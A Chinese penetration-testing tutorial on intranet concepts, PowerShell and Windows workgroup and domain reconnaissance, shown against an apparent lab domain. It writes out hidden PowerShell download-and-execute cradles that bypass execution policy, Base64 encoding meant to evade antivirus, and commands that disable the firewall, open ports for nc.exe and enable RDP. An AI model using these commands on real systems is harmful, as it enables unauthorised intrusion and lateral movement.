基础概念及信息收集

一、内网中常见名词解释

1、工作组

工作组 Work Group 是最常见最简单最普通的资源管理模式,就是将不同的电脑按功能分别列入不同的组中,以方便管理。

比如在一个网络内,可能有成百上千台工作电脑,如果这些电脑不进行分组,都列在“网上邻居”内,可想而知会有多么乱。

为了解决这一问题,Windows 9x/NT/2000 引用了“工作组”这个概念,比如一所高校,会分为诸如数学系、中文系之类的,然后数学系的电脑全都列入数学系的工作组中,中文系的电脑全部都列入到中文系的工作组中……如果你要访问某个系别的资源,就在“网上邻居”里找到那个系的工作组名,双击就可以看到那个系别的电脑了。

在工作组中所有的计算机都是平等的,没有管理与被管理之分,因此工作组网络也称为对等网络。

所以对于管理者而言,工作组的管理方式有时会不太便于管理,这时候就需要了解域的概念了。

2、域

Domain

可以简单的理解成工作组的升级版,如果说工作组是“免费旅店”那么域就是“星级宾馆”;工作组可以随便进进出出,而域则有严格的控制。

在“域”模式下,至少有一台服务器负责每一台联入网络的电脑和用户的验证工作,相当于一个单位的门卫一样,称为域控制器。

域控制器 Domain Controller

简写为 DC,域控制器中包含了由这个域的账户、密码、属于这个域的计算机等信息构成的数据库。

当电脑连入网络时,域控制器首先要鉴别这台电脑是否是属于这个域的,用户使用的登录账号是否存在、密码是否正确。如果以上信息有一样不正确的,那么域控制器就会拒绝这个用户从这台电脑登录。不能登录,用户就不能访问服务器上有权限保护的资源,这样就在一定程度上保护了网络上的资源。

正是因为域控起到了一个身份验证的作用,因此站在渗透的角度来说,拿下域控是至关重要的。拿下了域控,就相当于拿到了整个域内所有计算机的账号和密码。

而要想实现域环境,就必须要计算机中安装活动目录,也可以说如果在内网中的一台计算机上安装了活动目录,那它就变成了域控制器。在域中除了域控制器还有成员服务器、客户机、独立服务器。

父域和子域

顾名思义,在一个域下新建了一个域便称其为子域。形象的来说,一个部门一个域,那个如果这个部门还有分部,那每个分部就可被称为子域,这个大的部门便称为父域。每个域中都有独立的安全策略。

域树

域树由多个域组成,这些域共享同一表结构和配置,形成一个连续的名字空间。

树中的域通过信任关系连接起来,活动目录包含一个或多个域树。域树中的域层次越深级别越低,一个“.”代表一个层次,如域child.Microsoft.com 就比 Microsoft.com这个域级别低,因为它有两个层次关系,而Microsoft.com只有一个层次。

而域Grandchild.Child.Microsoft.com又比 Child.Microsoft.com级别低,道理一样。他们都属于同一个域树。Child.Microsoft.com就属于Microsoft.com的子域。

多个域树可以组成一个域林。

域林

域林是指由一个或多个没有形成连续名字空间的域树组成,它与域树最明显的区别就在于域林之间没有形成连续的名字空间,而域树则是由一些具有连续名字空间的域组成。

但域林中的所有域树仍共享同一个表结构、配置和全局目录。域林中的所有域树通过Kerberos 信任关系建立起来,所以每个域树都知道Kerberos信任关系,不同域树可以交叉引用其他域树中的对象。域林都有根域,域林的根域是域林中创建的第一个域,域林中所有域树的根域与域林的根域建立可传递的信任关系.

比如benet.com.cn,则可以创建同属与一个林的accp.com.cn,他们就在同一个域林里.

当创建第一个域控制器的时候,就创建了第一个域(也称林根域),和第一个林。

林,是一个或多个共享公共架构和全局编录的域组成,每个域都有单独的安全策略,和与其他域的信任关系。一个单位可以有多个林。

3、活动目录

活动目录 Active Directory ,简写为 AD,它是 Windows Server 中负责架构中大型网络环境的集中式目录管理服务,在Windows 2000 Server 开始内置于 Windows Server 产品中。

目录包含了有关各种对象,例如用户、用户组、计算机、域、组织单位(OU)以及安全策略的信息。目录存储在域控上,并且可以被网络应用程序或者服务所访问。

活动目录就相当于内网中各种资源的一个目录,通过活动目录用户可以快速定位到这些资源的位置。

4、DMZ

DMZ demilitarized zone ,中文名为“隔离区”,或称“非军事化区”。它是为了解决安装防火墙后外部网络的访问用户不能访问内部网络服务器的问题,从而设立的一个非安全系统与安全系统之间的缓冲区。

DMZ 区可以理解为一个不同于外网或内网的特殊网络区域,DMZ 内通常放置一些不含机密信息的公用服务器,比如 WEB 服务器、E-Mail 服务器、FTP 服务器等。这样来自外网的访问者只可以访问 DMZ 中的服务,但不可能接触到存放在内网中的信息等,即使 DMZ 中服务器受到破坏,也不会对内网中的信息造成影响。

5、域内的各种权限

首先要理解一下组的概念,在组里包含了很多用户,当管理员想要给某个用户分配权限时,只需要将用户加入到对应权限的组里就行,从而提高了管理效率,常见的组有:域本地组、全局组、通用组。

域本地组

成员范围:所有的域;使用范围:自己所在的域

全局组

成员范围:自己所在的域;使用范围:所有的域

通用组

成员范围:所有的域;使用范围:所有的域

A-G-DL-P 策略

A-G-DL-P 策略是将用户账号添加到全局组中,将全局组添加到域本地组中,然后为域本地组分配资源权限。

  • A 表示用户账号

  • G 表示全局组

  • U 表示通用组

  • DL 表示域本地组

  • P 表示资源权限

二、PowerShell

1、介绍

PowerShell 可以简单的理解为 cmd 的高级版,cmd 能做的事在 PowerShell 中都能做,但 PowerShell 还能做很多 cmd 不能做的事情。

PowerShell 内置在 Windows 7、Windows Server 2008 R2 及更高版本的 Windows 系统中,同时 PowerShell 是构建在 .NET 平台上的,所有命令传递的都是 .NET 对象。

PowerShell 有如下特点:

  • Windows 7 以上的操作系统默认安装

  • PowerShell 脚本可以运行在内存中,不需要写入磁盘

  • 可以从另一个系统中下载 PowerShell 脚本并执行

  • 目前很多工具都是基于 PowerShell 开发的

  • 很多安全软件检测不到 PowerShell 的活动

  • cmd 通常会被阻止运行,但是 PowerShell 不会

  • 可以用来管理活动目录

可输入 Get-Host 或者 $PSVersionTable 查看 PowerShell 版本:

PS C:\Users\teamssix> Get-Host

Name             : ConsoleHost
Version          : 5.1.18362.1171
InstanceId       : a0a6f8f2-f86a-477f-bf4b-b94b452bee3c
UI               : System.Management.Automation.Internal.Host.InternalHostUserInterface
CurrentCulture   : zh-CN
CurrentUICulture : zh-CN
PrivateData      : Microsoft.PowerShell.ConsoleHost+ConsoleColorProxy
DebuggerEnabled  : True
IsRunspacePushed : False
Runspace         : System.Management.Automation.Runspaces.LocalRunspace
PS C:\Users\teamssix> $PSVersionTable

Name                           Value
----                           -----
PSVersion                      5.1.18362.1171
PSEdition                      Desktop
PSCompatibleVersions           {1.0, 2.0, 3.0, 4.0...}
BuildVersion                   10.0.18362.1171
CLRVersion                     4.0.30319.42000
WSManStackVersion              3.0
PSRemotingProtocolVersion      2.3
SerializationVersion           1.1.0.1

Windows 操作系统对应的 PowerShell 版本信息:

1.0 windows server 2008

2.0 windows server 2008 r2、windows 7

3.0 windows server 2012、windows 8

4.0 windows server 2012 r2、windows 8.1

5.0 windows 10

5.1 windows server 2016

2、基本概念

ps1 文件

ps1 是PowerShell 的脚本扩展名,一个 PowerShell 脚本文件其实就是一个简单的文本文件。

执行策略

为了防止恶意脚本在 PowerShell 中被运行,PowerShell 有个执行策略,默认情况下,这个执行策略是受限模式Restricted

使用 Get-ExecutionPolicy命令查看当前执行策略

PS C:\Users\teamssix> Get-ExecutionPolicy
Restricted

执行策略有以下几种:

Restricted:不能运行脚本

RemoteSigned:本地创建的脚本可以运行,但从网上下载的脚本不能运行(除非它们拥有由受信任的发布者签署的数字签名)

AllSigned:仅当脚本由受信任的发布者签名才能运行。

Unrestricted:脚本执行不受限制,不管来自哪里,也不管它们是否有签名。

使用Set-ExecutionPolicy <policy name>设置执行策略,该命令需要管理员权限

PS C:\WINDOWS\system32> Set-ExecutionPolicy Unrestricted

执行策略更改
执行策略可帮助你防止执行不信任的脚本。更改执行策略可能会产生安全风险,如 https:/go.microsoft.com/fwlink/?LinkID=135170 中的 about_Execution_Policies 帮助主题所述。是否要更改执行策略?
[Y] 是(Y)  [A] 全是(A)  [N] 否(N)  [L] 全否(L)  [S] 暂停(S)  [?] 帮助 (默认值为“N”): A

PS C:\WINDOWS\system32> Get-ExecutionPolicy
Unrestricted

运行脚本

PowerShell 运行脚本的方式和其他 shell 基本一致,可以输入完整路径运行,也可以到 ps1 文件所在目录下去运行,具体如下:

PS C:\Users\teamssix> C:\t.ps1
hello TeamsSix

PS C:\Users\teamssix> cd C:\

PS C:\> .\t.ps1
hello TeamsSix

这里不禁想吐槽一下,在看百度百科的时候关于 PowerShell 运行脚本的描述是这样的:“假设你要运行一个名为a.ps1的脚本,你可以键入 C:\Scripts\aps1,最大的例外是,如果 PowerShell 脚本文件刚好位于你的系统目录中,那么你可以直接在命令提示符命令提示符后键入脚本文件名即可运行”

这里的“系统目录”是指的啥目录?C:\还是C:\windows\system目录,“最大的例外”又是什么鬼,讲道理读起来有一种机翻的感觉。

管道

PowerShell 中的管道类似于 linux 中的管道,都是将前一个命令的输出作为另一个命令的输入,两个命令之间使用 “|” 进行连接。

例如,在 PowerShell 中获取进程信息并以程序 ID 进行排序

PS C:\> Get-Process | Sort-Object ID

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
      0       0       60          8                 0   0 Idle
   3038       0      208       4760                 4   0 System
      0      12     7732      81344                88   0 Registry
     53       3     1160        752               368   0 smss
    256      10     2468       7424               424   0 svchost
    662      21     1788       4668               504   0 csrss
    160      11     1364       5660               580   0 wininit
    653      27    18592     177580               588   1 csrss
   1219      67    59660         52       2.59    600   1 WinStore.App
    278      14     3108      15656               684   1 winlogon
    687      11     5420       9432               724   0 services

3、一些命令

-NoLogo:启动不显示版权标志的PowerShell

-WindowStyle Hidden (-W Hidden):隐藏窗口

-NoProfile (-NoP):不加载当前用户的配置文件

–Enc:执行 base64 编码后的 powershell 脚本字符串

-ExecutionPolicy Bypass (-Exec Bypass) :绕过执行安全策略

-Noexit:执行后不退出Shell,这在使用键盘记录等脚本时非常重要

-NonInteractive (-Nonl):非交互模式,PowerShell 不为用户提供交互的提示

在 PowerShell 下,命令的命名规范很一致,都采用了动词-名词的形式,如 Net-Item,动词一般为 Add、New、Get、Remove、Set 等。PowerShell 还兼容 cmd 和 Linux 命令,如查看目录可以使用 dir 或者 ls 。

文件操作类命令

新建目录test:New-Item test -ItemType directory
删除目录test:Remove-Item test
新建文件test.txt:New-Item test.txt -ItemType file
新建文件test.txt,内容为 hello:New-Item test.txt -ItemType file -value "hello"
删除文件test.txt:Remove-Item test.txt
查看文件test.txt内容:Get-Content  test.txt
设置文件test.txt内容t:Set-Content  test.txt  -Value "hello"
给文件test.txt追加内容:Add-Content test.txt  -Value ",word!"
清除文件test.txt内容:Clear-Content test.txt

绕过本地权限并执行

上面说到了默认情况下 PowerShell 的执行策略是受限模式Restricted,这就导致了在渗透测试过程中我们需要采用一些方法绕过这个策略,从而执行我们的脚本文件。

先来看看默认受限模式下执行脚本的情况

PS C:\Users\teamssix> powerShell.exe Get-ExecutionPolicy
Restricted

PS C:\Users\teamssix> PowerShell.exe -File t.ps1
无法加载文件 C:\Users\teamssix\t.ps1,因为在此系统上禁止运行脚本。有关详细信息,请参阅 https:/go.microsoft.com/fwlink/?
LinkID=135170 中的 about_Execution_Policies。
    + CategoryInfo          : SecurityError: (:) [],ParentContainsErrorRecordException
    + FullyQualifiedErrorId : UnauthorizedAccess

这里系统会提示在此系统上禁止运行脚本,但加上 -ExecutionPolicy Bypass即可绕过这个限制

PS C:\Users\teamssix> cat .\t.ps1
echo "Hello TeamsSix"

PS C:\Users\teamssix> PowerShell.exe -ExecutionPolicy Bypass -File t.ps1
hello TeamsSix

绕过本地权限并隐藏执行

加入-WindowStyle Hidden -NoLogo -NonInteractive -NoProfile 即可隐藏执行。

PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile -File t.ps1

下载远程脚本绕过权限并隐藏执行

PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile "IEX(New-Object Net.WebClient).DownloadString('http://172.16.214.1:8000/t.ps1')"

或者简写

PowerShell.exe -Exec Bypass -W Hidden -NoLogo -NonI -NoP "IEX(New-Object Net.WebClient).DownloadString('http://172.16.214.1:8000/t.ps1')"

利用 Base64 对命令进行编码

使用 Base64 进行编码主要是为了混淆代码以避免被杀毒软件查杀,经过尝试这里直接使用 Base64 编码是不行的,可以使用 Github 上的一个编码工具,工具下载地址:

https://raw.githubusercontent.com/darkoperator/powershell_scripts/master/ps_encoder.py 下载好后,需要先将要执行的命令保存到文本文件中,这里保存到了 tmp.txt 文本中,之后执行 python ps_encoder.py -s tmp.txt 即可

>cat tmp.txt
IEX(New-Object Net.WebClient).DownloadString('http://172.16.214.1:8000/t.ps1')

>python ps_encoder.py -s tmp.txt
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEANwAyAC4AMQA2AC4AMgAxADQALgAxADoAOAAwADAAMAAvAHQALgBwAHMAMQAnACkA

使用 –Enc 指定 Base64 编码内容

PowerShell.exe -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEANwAyAC4AMQA2AC4AMgAxADQALgAxADoAOAAwADAAMAAvAHQALgBwAHMAMQAnACkA

三、本地工作组信息收集

1、手动收集本地工作组信息

  • 查看当前权限

whoami 
  • 本机网络配置信息

ipconfig /all
  • 操作系统和版本信息(英文版)

systeminfo | findstr /B /C:"OS Name" /C:"OS Version" 
  • 操作系统和版本信息(中文版)

systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
  • 查看系统体系结构

echo %PROCESSOR_ARCHITECTURE%
  • 查看系统所有环境变量

set
  • 查看安装的软件及版本和路径等信息

wmic product get name,version
  • 利用 PowerShell 收集软件版本信息

powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name,version"
  • 查询本机服务信息

wmic service list brief
  • 查询进程列表

tasklist /v
  • wmic 查看进程信息

wmic process list brief
  • 查看启动程序信息

wmic startup get command,caption
  • 查看计划任务

schtasks /query /fo LIST /v
  • 查看主机开启时间

net statistics workstation
  • 查询用户列表

net user
  • 查看指定用户的信息

net user teamssix
  • 查看本地管理员用户

net localgroup administrators
  • 查看当前在线用户

query user || qwinsta
  • 列出或断开本地计算机和连接的客户端的会话

net session
  • 查看端口列表

netstat –ano
  • 查看补丁列表

systeminfo
  • 使用 wmic 查看补丁列表

wmic qfe get Caption,Description,HotFixID,InstalledOn
  • 查看本机共享

net share
  • 使用 wmic 查看共享列表

wmic share get name,path,status
  • 查询路由表及所有可用接口的ARP 缓存表

route print
arp –a
  • 查询防火墙相关配置

    • 关闭防火墙

    netsh firewall set opmode disable (Windows Server 2003 系统及之前版本)
    netsh advfirewall set allprofiles state off    (Windows Server 2003 系统及之后版本)
    • 查看防火墙配置

    netsh firewall show config
    • 修改防火墙配置

    (Windows Server 2003 系统及之前版本)
    允许指定程序全部连接
    netsh firewall add allowedprogram c:\nc.exe "allow nc" enable
    
    (Windows Server 2003 之后系统版本)
    允许指定程序连入
    netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C: \nc.exe"
    
    允许指定程序连出
    netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C: \nc.exe"
    
    允许 3389 端口放行
    netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
    • 自定义防火墙日志储存位置

    netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"
  • 查看计算机代理配置情况

reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
  • 查询并开启远程连接服务

    • 查看远程连接端口(0xd3d换成10进制即3389)

    REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber
    • 在Windows Server 2003 中开启3389 端口

    wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
    • 在Windows Server 2008 和Windows Server 2012 中开启3389 端口

    wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
    
    wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1
    
    reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

2、自动收集本地工作组信息

wmic 脚本

wmic 脚本下载地址:https://www.fuzzysecurity.com/scripts/files/wmic_info.rar

直接将脚本在目标主机上运行,运行结束后会生成一个 output.html 文件

PowerShsell Empire

PowerShsell Empire中文简称 “帝国” ,是一款针对 Windows 系统平台而打造的渗透工具,以下是 Empire 和万能的 MSF 的一些区别。

  • MSF 是全平台的,无论是win,linux,mac都可以打,但 Empire 是只针对 Windows 的

  • MSF 集信息收集,渗透,后渗透,木马,社工的功能为一体,全面多能;而 Empire 专注于内网渗透,它是针对 PowerShell 的

当使用 Empire 使主机上线后,可调用powershell/situational_awareness/host/winenum模块查看本机用户信息、系统基本信息、剪贴板等等信息。

调用powershell/situational_awareness/host/computerdetails模块可查看更丰富的信息,比如RDP登录信息、主机时间日志等等,在运行这个模块时需要管理员权限。

参考链接:

https://www.freebuf.com/sectool/158393.html

https://blog.csdn.net/bring_coco/article/details/113550173

四、域内信息收集

1、判断是否存在域

ipconfig

查看网关 IP 地址、DNS 的 IP 地址、域名、本机是否和 DNS 服务器处于同一网段。

ipconfig /all
C:\Users\daniel10> ipconfig /all

Windows IP 配置
   主 DNS 后缀 . . . . . . . . . .  : teamssix.com
   DNS 后缀搜索列表  . . . . . . . . : teamssix.com

以太网适配器 Ethernet0:
   IPv4 地址 . . . . . . . . . . .. : 192.168.7.110
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . : 192.168.7.1
   DNS 服务器  . . . . . . . . . . . : 192.168.7.7

接着使用 nslookup 解析域名的 IP 地址,查看是否与 DNS 服务器为同一 IP

nslookup teamssix.com
C:\Users\daniel10> nslookup teamssix.com
服务器:  UnKnown
Address:  192.168.7.7
名称:    teamssix.com
Address:  192.168.7.7

系统详细信息

systeminfo
C:\Users\daniel10> systeminfo | findstr 域:
域: teamssix.com

当前登录域与域用户

net config workstation
C:\Users\daniel10> net config workstation | findstr 域
工作站域                    TEAMSSIX
工作站域 DNS 名称            teamssix.com
登录域                      TEAMSSIX

判断主域

net time /domain
C:\Users\daniel10> net time /domain
\\dc.teamssix.com 的当前时间是 2021/2/13 20:49:56
命令成功完成。

2、收集域内基础信息

查看域

net view /domain
C:\Users\daniel10> net view /domain
Domain
-------------------------------------------------------------------------------
TEAMSSIX
命令成功完成。

查看域内计算机

net view /domain:domain_name
C:\Users\daniel10> net view /domain:teamssix
服务器名称            注解
-------------------------------------------------------------------------------
\\DANIEL10
\\DANIEL7
\\DC
命令成功完成。

查看域内用户组列表

net group /domain
C:\Users\daniel10> net group /domain
这项请求将在域 teamssix.com 的域控制器处理。
\\dc.teamssix.com 的组帐户
-------------------------------------------------------------------------------
*Admins
*Domain Admins
*Domain Computers
*Domain Users
*Enterprise Admins
命令成功完成。

查看域用户组信息

net group "Enterprise Admins" /domain
C:\Users\daniel10> net group "Enterprise Admins" /domain
这项请求将在域 teamssix.com 的域控制器处理。
组名     Enterprise Admins
注释     指定的公司系統管理員
成员
-------------------------------------------------------------------------------
Administrator
命令成功完成。

查看域密码策略信息

net accounts /domain
C:\Users\daniel10> net accounts /domain
这项请求将在域 teamssix.com 的域控制器处理。
强制用户在时间到期之后多久必须注销?:     从不
密码最短使用期限(天):                  1
密码最长使用期限(天):                  42
密码长度最小值:                        7
保持的密码历史记录长度:                 24
锁定阈值:                            从不
锁定持续时间(分):                      30
锁定观测窗口(分):                      30
计算机角色:                           PRIMARY
命令成功完成。

查看域信任信息

nltest /domain_trusts
C:\Users\daniel10> nltest /domain_trusts
域信任的列表:
    0: TEAMSSIX teamssix.com (NT 5) (Forest Tree Root) (Primary Domain) (Native)
此命令成功完成

3、收集域用户和管理员信息

查询域用户列表

net user /domain
C:\Users\daniel10> net user /domain
这项请求将在域 teamssix.com 的域控制器处理。
\\dc.teamssix.com 的用户帐户
-------------------------------------------------------------------------------
admin                    Administrator                    daniel10

查询域用户详细信息

wmic useraccount get /all
C:\Users\daniel10> wmic useraccount get /all
AccountType  Caption                        Description                                                     Disabled  Domain    FullName                               InstallDate  LocalAccount  Lockout  Name                  PasswordChangeable  PasswordExpires  PasswordRequired  SID                                            SIDType  Status
512          DANIEL10\Administrator         管理计算机(域)的内置帐户                                        TRUE      DANIEL10                                                      TRUE          FALSE    Administrator         TRUE                FALSE            TRUE              S-1-5-21-1097120846-822447287-3576165687-500   1        Degraded
512          DANIEL10\DefaultAccount        系统管理的用户帐户。                                            TRUE      DANIEL10                                                      TRUE          FALSE    DefaultAccount        TRUE                FALSE            FALSE             S-1-5-21-1097120846-822447287-3576165687-503   1        Degraded

查询存在的用户

dsquery user
C:\Users\daniel10> dsquery user
"CN=Administrator,CN=Users,DC=teamssix,DC=com"
"CN=Guest,CN=Users,DC=teamssix,DC=com"

常用的 dsquery 命令

dsquery computer - 查找目录中的计算机
dsquery contact - 查找目录中的联系人
dsquery subnet - 查找目录中的子网
dsquery group - 查找目录中的组
dsquery ou - 查找目录中的组织单位
dsquery site - 查找目录中的站点
dsquery server - 查找目录中的域控制器
dsquery user - 查找目录中的用户
dsquery quota - 查找目录中的配额
dsquery partition - 查找目录中的分区
dsquery * - 用通用的 LDAP 查询查找目录中的任何对象

4、查找域控制器

查看域控器机器名

nltest /DCLIST:teamssix
C:\Users\daniel10> nltest /DCLIST:teamssix

获得域“teamssix”中 DC 的列表(从“\\DC”中)。
    dc.teamssix.com [PDC]  [DS] 站点: Default-First-Site-Name
此命令成功完成

查看域控器主机名

nslookup -type=SRV _ldap._tcp
C:\Users\daniel10> nslookup -type=SRV _ldap._tcp

_ldap._tcp.teamssix.com SRV service location:
          priority       = 0
          weight         = 100
          port           = 389
          svr hostname   = dc.teamssix.com
dc.teamssix.com internet address = 192.168.7.7
netdom query pdc
C:\Users\daniel10> netdom query pdc
域的主域控制器:
DC
命令成功完成。

查看域控器组

net group "domain controllers" /domain
C:\Users\daniel10> net group "domain controllers" /domain
这项请求将在域 teamssix.com 的域控制器处理。
组名     Domain Controllers
注释     在網域所有的網域控制站
成员
-------------------------------------------------------------------------------
DC$
命令成功完成。

5、定位域管理员

psloggedon

在 Windows 上使用 net session 可以查看谁使用了本机资源,但不能查看谁在使用远程计算机资源、谁登录了本地或远程计算机,使用 psloggedon 可以查看本地登录的用户和通过本地计算机或远程计算机进行资源登录的用户。

psloggedon 下载地址:https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon

psloggedon.exe [-] [-l] [-x] [\\computername|username]

-                                显示支持的选项和用于输出值的单位。
-l                            仅显示本地登录,不显示本地和网络资源登录。
-x                            不显示登录时间。
\\computername    指定要列出登录信息的计算机的名称。
Username                指定用户名,在网络中搜索该用户登录的计算机。
C:\Users\daniel10> PsLoggedon.exe -l \\192.168.7.7
Users logged on locally:
2021/2/13 20:53:08         TEAMSSIX\Administrator

PVEFindADUser

PVEFindADUser 用于查找活动目录用户登录的位置、枚举域用户,以及查找在特定计算机上登录的用户,包括本地用户、通过 RDP 登录的用户、用于运行服务器和计划任务的用户,该工具需要管理员权限。

PVEFindADUser 下载地址:https://github.com/chrisdee/Tools/tree/master/AD/ADFindUsersLoggedOn

-h                                            显示帮助信息
-u                                            检测程序是否有新版本
-current ["username"]        -current参数显示每台PC上当前登录的用户在域中。如果指定用户名(在引号之间),则仅将显示该特定用户登录的PC
-noping                                    阻止尝试枚举用户登录名之前对目标计算机执行ping命令
-target                                    此可选参数允许您指定要查询的主机。如果未指定此-target参数,则将查询当前域中的所有主机。如果决定指定-target,然后指定以逗号分隔的主机名。查询结果将被输出到report.csv文件中
C:\Users\daniel10> PVEFindADUser.exe -current

 [+] Finding currently logged on users ? true
 [+] Finding last logged on users ? false
 [+] Enumerating all computers...
 [+] Number of computers found : 15
 [+] Launching queries
     [+] Processing host : dc.teamssix.com (Windows Server 2008 R2 Datacenter;Service Pack 1)
         - Logged on user : teamssix\administrator
     [+] Processing host : daniel7.teamssix.com (Windows 7 专业版;Service Pack 1)
     [+] Processing host : daniel10.teamssix.com (Windows 10 专业版)
 [+] Report written to report.csv

netview

netview 是一个枚举工具,使用 WinAPI 枚举系统,利用 NetSessionEnum 寻找登录会话,利用 NetShareEnum 寻找共享,利用 NetWkstaUserEnum 枚举登录的用户,netview 可以查询共享入口和有价值的用户,其绝大部分功能无需管理员权限就可使用。

Netview 下载地址:https://github.com/mubix/netview

-h               显示帮助信息
-f filename.txt  指定要提取主机列表的文件
-e filename.txt  指定要排除的主机名的文件
-o filename.txt  将所有输出重定向到指定的文件
-d domain        指定要提取主机列表的域。如果没有指定,则从当前域中提取主机列表
-g group         指定搜索的组名。如果没有指定,则在Domain Admins组中搜索
-c               对已找到的共享目录/文件的访问权限进行检查
-i interval      枚举主机之间等待的秒数
-j jitter        应用于间隔的抖动百分比(0.0-1.0)
C:\Users\daniel10> netview.exe -d
[+] Number of hosts: 3

[+] Host: DANIEL10
Enumerating AD Info[+] DANIEL10 - Comment -
[+] D - OS Version - 10.0
[+] DANIEL10 - MSSQL Server
Enumerating IP Info
[+] (null) - IPv4 Address - 192.168.7.110
Enumerating Share Info
Enumerating Session Info
Enumerating Logged-on Users
[+] DANIEL10 - Logged-on - TEAMSSIX\daniel10

[+] Host: DC
Enumerating AD Info[+] DC - Comment -
[+] D - OS Version - 6.1
[+] DC - Domain Controller
Enumerating IP Info
[+] (null) - IPv4 Address - 192.168.7.7
……内容较多故省略……

NSE 脚本

常用的 NSE 脚本如下:

smb-enum-domains.nse:对域控制器进行信息收集,可以获取主机信息、用户、可使用密码策略的用户等

smb-enum-users.nse:在进行域渗透时,如获取了域内某台主机权限,但权限有限,无法获取更多的域用户信息,可借助此脚本对域控制器进行扫描

smb-enum-shares.nse:遍历远程主机的共享目录

smb-enum-processes.nse:对主机的系统进程进行遍历,通过此信息,可知道目标主机运行着哪些软件

smb-enum-sessions.nse:获取域内主机的用户登陆会话,查看当前是否有用户登陆,且不需要管理员权限 smb-os-discovery.nse:收集目标主机的操作系统、计算机名、域名、域林名称、NetBIOS机器名、NetBIOS域名、工作组、系统时间等信息

NES 脚本下载地址:https://nmap.org/nsedoc/scripts/

C:\Users\daniel10> nmap --script=smb-os-discovery.nse -p 445 192.168.7.107
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-21 09:44 CST
Nmap scan report for 192.168.7.107
Host is up (0.00053s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-os-discovery:
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: daniel7
|   NetBIOS computer name: DANIEL7\x00
|   Domain name: teamssix.com
|   Forest name: teamssix.com
|   FQDN: daniel7.teamssix.com
|_  System time: 2021-02-21T09:44:33+08:00

Nmap done: 1 IP address (1 host up) scanned in 0.50 seconds

PowerView 脚本

PowerView 脚本中包含了一系列的 powershell 脚本,信息收集相关的脚本有 Invoke-StealthUserHunter、Invoke-UserHunter 等,要使用 PowerView 脚本需要将 PowerView 文件夹复制到 PowerShell 的 Module 文件夹内, Module 文件夹路径可以通过在 PowerShell 中输入 $Env:PSModulePath查看,我这里将其复制到了C:\Program Files\WindowsPowerShell\Modules文件夹内。

接着在 powershell中输入 Import-Module PowerView即可导入PowerView,使用 Get-Command -Module PowerView可查看已导入的 PowerView 命令

PS C:\Users\daniel10> Import-Module PowerView
PS C:\Users\daniel10> Get-Command -Module PowerView

CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Alias           Find-UserTrustGroup                                1.0        PowerView
Alias           Get-ComputerProperties                             1.0        PowerView
……内容较多故省略……

PowerView 脚本下载地址:https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView

注:在打开上面的下载地址时会看到该项目已被转移到其他项目下,但是当我在使用新版本的 PowerView 脚本时,发现找不到Invoke-StealthUserHunter命令,而旧版本的 PowerView 有Invoke-StealthUserHunter命令

Invoke-StealthUserHunter:只需要进行一次查询,就可以获取域里面的所有用户。其原理为:从user.HomeDirectories中提取所有用户,并对每个服务器进行Get-NetSession获取。因不需要使用Invoke-UserHunter对每台机器进行操作,所以这个方法的隐蔽性相对较高(但涉及的机器不一定全面)。PowerView 默认使用Invoke-StealthUserHunter如果找不到需要的信息,就会使用Invoke-UserHunter.

Invoke-UserHunter:找到域内特定的用户群,接受用户名、用户列表和域组查询,接收一个主机列表或查询可用的主机域名。使用Get-NetSessionGet-NetLoggedon(调用 NetSessionEnum 和 NetWkstaUserEnumAPI )扫描每台服务器并对扫描结果进行比较,从而找出目标用户集,在使用时不需要管理员权限。

PS C:\Users\daniel10> Invoke-UserHunter

UserDomain   : TEAMSSIX
UserName     : Administrator
ComputerName : dc.teamssix.com
IP           : 192.168.7.7
SessionFrom  :
LocalAdmin   :

UserDomain   : TEAMSSIX
UserName     : daniel10
ComputerName : daniel10.teamssix.com
IP           : 192.168.7.110
SessionFrom  :
LocalAdmin   :

UserDomain   : TEAMSSIX
UserName     : Administrator
ComputerName : daniel7.teamssix.com
IP           : 192.168.7.107
SessionFrom  :
LocalAdmin   :

PowerView 中的其他信息收集模块:

  • Get-NetDomain:获取当前用户所在域名称

  • Get-NetUser:获取所有用户的详细信息

  • Get-NetDomainController:获取所有域控制器的信息

  • Get-NetComputer:获取域内所有机器的详细信息

  • Get-NetOU:获取域中的OU信息

  • Get-NetGroup:获取所有域内组和组成员信息

